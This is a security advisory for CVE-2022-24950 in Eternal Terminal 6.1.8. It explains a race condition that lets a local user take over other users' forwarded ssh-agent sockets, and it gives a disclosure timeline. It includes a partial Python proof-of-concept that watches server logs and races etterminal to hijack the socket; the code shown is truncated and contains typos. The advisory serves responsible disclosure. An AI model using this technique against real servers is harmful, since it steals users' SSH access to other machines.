# Eternal Terminal SSH Authorization Socket Hijacking

High

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Package

Eternal Terminal (C++)

Affected versions

6.1.8

Description

## **Vulnerability Description:**

An authenticated attacker can utilize the local IPC socket on the Eternal Terminal server to invoke a race condition when other users login, resulting in ownership of forwarded ssh-agent sockets being transferred to the attacker. The attacker can then utilize this socket to login to any other machine that the targeted user could normally log into via SSH.

Patched versions

The issue is due to a logic bug in UserTerminalRouter::getInfoForId() where the user info for a client connection is pulled from a mutable unordered\_map named idInfoMap. This user info is retrieved in TerminalServer::run() and later passed to pipeSocketHandler::listen() in order to set permissions properly on the forwarded SSH socket. A local attacker can monitor logs to reliably modify the contents of idInfoMap such that the forwarded SSH socket ownership is given to the attacker.

One interesting side effect of the PoC as it's written is that the victim will be given a session as the attacker upon logging on. There may be ways to mitigate this (including modifying shell startup, login procedure, etc.)

To run the proof of concept log in as an unprivileged user on the server Eternal Terminal and run the script. It will change the permissions of the forwarded SSH socket created by Eternal Terminal which you can use to subsequently log into other machines the victim can access.

## **Proof of Concept:**

```
#!/usr/bin/env python3
import time
import os
import argparse
import sys
import subprocess
import threading
import glob
import pwd
parser = argparse.ArgumentParser(description='[*] Hijack SSH AUTH SOCK of ET users as they
log in')
args = parser.parse_args()
def get username():
    return pwd.getpwuid( os.getuid() )[ 0 ]
#determine log file to watch
def determine_latest_log():
    logs = glob.glob('/tmp/etserver-*')
    max_mtime = 0
    for log_name in logs:
        mtime = os.stat(log name).st mtime
        if mtime > max mtime:
            max mtime = mtime
            latest_log = log_name
    print(f'[*] Found log {latest_log}')
    return latest log
#poll logs and watch for new client registrations
def follow_log(log_name):
    print(f'[*] Watching for logins..')
    with open(log_name, 'r') as f:
        f.seek(0,2) #End of file
        while True:
            line = f.readline()
            if not line:
                time.sleep(0.01)
            elif 'Got client with id: ' in line:
                client_id = line.split('Got client with id: ')[1].rstrip('\n')
                print("Modifying idInfoMap mapping")
                echo = subprocess.Popen(["echo",
f'{client_id}/E59AD03E34FC3AB9DED568F47EA27677_xterm-256color\n'], stdout=subprocess.PIPE)
                etterminal = subprocess.Popen(["/bin/etterminal", "&"], stdin=echo.stdout,
close_fds=True)
                print("[*] Testing for race success")
                while True:
                    line = f.readline()
                    if not line:
                        time.sleep(0.01)
                    elif 'Creating pipe at ' in line:
                        socket_name = line.split('Creating pipe at ')[1].rstrip('\n')
                        if check_permissions_on_socket(socket_name):
```

### **Timeline:**

10/29/21: Vulnerabilities were disclosed to author of ET

11/3/21: Partial fixes for the most serious issues to ET were released (including this one)

1/27/22: 90 day deadline for public disclosure reached

#### Severity



#### **CVE ID**

CVE-2022-24950

#### Weaknesses

No CWEs

#### Credits

